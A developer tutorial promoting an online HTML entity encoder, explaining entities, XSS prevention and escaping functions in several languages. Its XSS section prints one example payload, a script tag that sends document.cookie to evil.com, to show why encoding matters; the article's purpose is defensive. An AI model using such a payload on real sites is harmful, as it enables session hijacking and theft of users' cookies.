HTML Encoder Decoder Online: Escape & Unescape HTML Entities Free
HTML encoding converts special characters like <, >, &, and " into their HTML entity equivalents (<, >, &, "). This prevents browsers from misinterpreting them as HTML tags and is a critical defense against cross-site scripting (XSS) attacks.
An HTML encoder/decoder online tool handles this conversion instantly — no code, no terminal, just paste and convert.
What Are HTML Entities?
HTML entities are codes that represent special characters in HTML. When a browser encounters < in HTML source, it renders the < character — but doesn't treat it as the start of a tag.
Common HTML entities:
| Character | Entity | Description |
|---|---|---|
< |
< |
Less-than (opens HTML tag) |
> |
> |
Greater-than (closes HTML tag) |
& |
& |
Ampersand (starts entity) |
" |
" |
Double quote (inside attributes) |
' |
' or '
|
Single quote |
|
|
Non-breaking space |
© |
© |
Copyright symbol |
™ |
™ |
Trademark symbol |
→ |
→ |
Right arrow |
Try it now: DevPlaybook HTML Entity Encoder — encode or decode any HTML content instantly.
Why HTML Encoding Matters
1. Preventing XSS Attacks
Cross-site scripting (XSS) is one of the most common web vulnerabilities. If user input is rendered as raw HTML without encoding, an attacker can inject malicious scripts:
<!-- User submits this as their "name" -->
<script>document.location='https://evil.com?cookie='+document.cookie</script>
<!-- If rendered without encoding: -->
<p>Hello, <script>document.location='...'</script></p> <!-- script executes! -->
<!-- If rendered WITH encoding: -->
<p>Hello, <script>document.location='...'</script></p> <!-- safe text -->
2. Displaying Code in HTML
If you're building a documentation site, blog, or code editor that shows HTML or code snippets, you must encode them so they render as text rather than being parsed as HTML:
<!-- Without encoding -->
<p>To create a link, use <a href="...">...</a></p>
<!-- Browser renders the link tag, not the text! -->
<!-- With encoding -->
<p>To create a link, use <a href="...">...</a></p>
<!-- Browser displays the text as written -->
3. Data in HTML Attributes
Special characters in attribute values can break HTML structure or create injection vulnerabilities:
<!-- Dangerous: user-controlled value with unescaped quote -->
<input value="He said "hello""> <!-- breaks the attribute -->
<!-- Safe: encoded -->
<input value="He said "hello"">
How to Use an HTML Encoder/Decoder Online
- Open DevPlaybook HTML Entity Encoder
- Choose mode — Encode (text → entities) or Decode (entities → text)
- Paste your content into the input area
- Click Convert or see the result update in real time
- Copy the output and use it in your HTML or application
HTML Encoding in Code
JavaScript
// Encoding (escaping) HTML
function encodeHTML(str) {
const div = document.createElement('div');
div.appendChild(document.createTextNode(str));
return div.innerHTML;
}
// Or manually
function escapeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// Decoding (unescaping)
function decodeHTML(str) {
const div = document.createElement('div');
div.innerHTML = str;
return div.textContent;
}
Python
import html
# Encoding
encoded = html.escape('<script>alert("xss")</script>')
# Result: '<script>alert("xss")</script>'
# Decoding
decoded = html.unescape('<b>Hello</b>')
# Result: '<b>Hello</b>'
# Also escape single quotes
encoded = html.escape('<script>', quote=True)
Node.js
// Using 'he' library (recommended)
const he = require('he');
he.encode('<div class="greeting">Hello</div>');
// → '<div class="greeting">Hello</div>'
he.decode('<b>Hello</b>');
// → '<b>Hello</b>'
PHP
// Encoding
$encoded = htmlspecialchars('<script>alert("xss")</script>', ENT_QUOTES, 'UTF-8');
// Decoding
$decoded = htmlspecialchars_decode('<b>Hello</b>', ENT_QUOTES);
// Full entity encoding (including non-ASCII)
$encoded = htmlentities('<div>café</div>', ENT_QUOTES, 'UTF-8');
Encode vs Escape vs Sanitize
These terms are related but distinct:
| Operation | What It Does | When to Use |
|---|---|---|
| Encode | Converts characters to entity codes | Displaying user input as text |
| Escape | Makes characters safe for a specific context | Inserting into HTML, attributes, JS, SQL |
| Sanitize | Strips or transforms unsafe content | Allowing limited HTML from users |
If you're allowing users to submit some HTML (like a rich text editor), encoding everything would strip valid formatting. Use a sanitizer library (DOMPurify for JS, bleach for Python) to allow a whitelist of safe tags while removing dangerous ones.
Special Cases
Encoding Inside JavaScript Strings in HTML
When embedding JavaScript strings inside HTML event attributes, you need double-escaping:
<!-- First JS-escape the string, then HTML-encode -->
<button onclick="alert('It's working')">Click me</button>
URLs vs HTML Encoding
URL encoding (%20, %3C) is different from HTML encoding. A URL inside an HTML attribute needs both:
<!-- URL-encode the query param, then HTML-encode the & -->
<a href="/search?q=hello+world&type=article">Search</a>
JSON in HTML Data Attributes
When embedding JSON in data-* attributes, encode quotes:
<div data-config='{"name":"Alice","role":"admin"}'></div>
<!-- If using double quotes for the attribute: -->
<div data-config="{"name":"Alice"}"></div>
Frequently Asked Questions
When should I NOT encode HTML?
When you intentionally want HTML to render as markup — for example, when outputting HTML from a trusted source (your own templates, CMS, or database field that has already been sanitized). Only encode output that comes from external or user-provided sources.
Is HTML encoding the same as URL encoding?
No. HTML encoding converts characters to HTML entities (< → <). URL encoding converts characters to percent-encoding (< → %3C). They're used in different contexts and are not interchangeable.
Does encoding prevent all XSS?
Encoding user input before rendering it in HTML context prevents reflected and stored XSS. But XSS has multiple contexts — you need different escaping for HTML, attributes, JavaScript, CSS, and URL contexts. Use a security library that handles context-aware escaping rather than one encoding function for everything.
What's the difference between & and &?
Both represent the & character. & is the named entity; & is the decimal numeric character reference. Both are valid HTML and render identically. Named entities are more readable; numeric references work when the named entity might not be recognized.
What about Unicode characters — do I need to encode them?
In HTML5 with UTF-8 charset declaration, you can use Unicode characters directly:
<meta charset="UTF-8">
With that declaration, you don't need to encode © as © — you can write © directly. However, encoding is still required for characters that have HTML meaning (<, >, &, ").
Related Tools
- URL Encoder/Decoder — encode URL parameters and query strings
- JSON Formatter — format and validate JSON data
- Markdown to HTML Converter — convert Markdown to HTML output
Level Up Your Dev Workflow
Found this useful? Explore DevPlaybook — cheat sheets, tool comparisons, and hands-on guides for modern developers.
🛒 Get the DevToolkit Starter Kit on Gumroad — 40+ browser-based dev tools, source code + deployment guide included.
Top comments (0)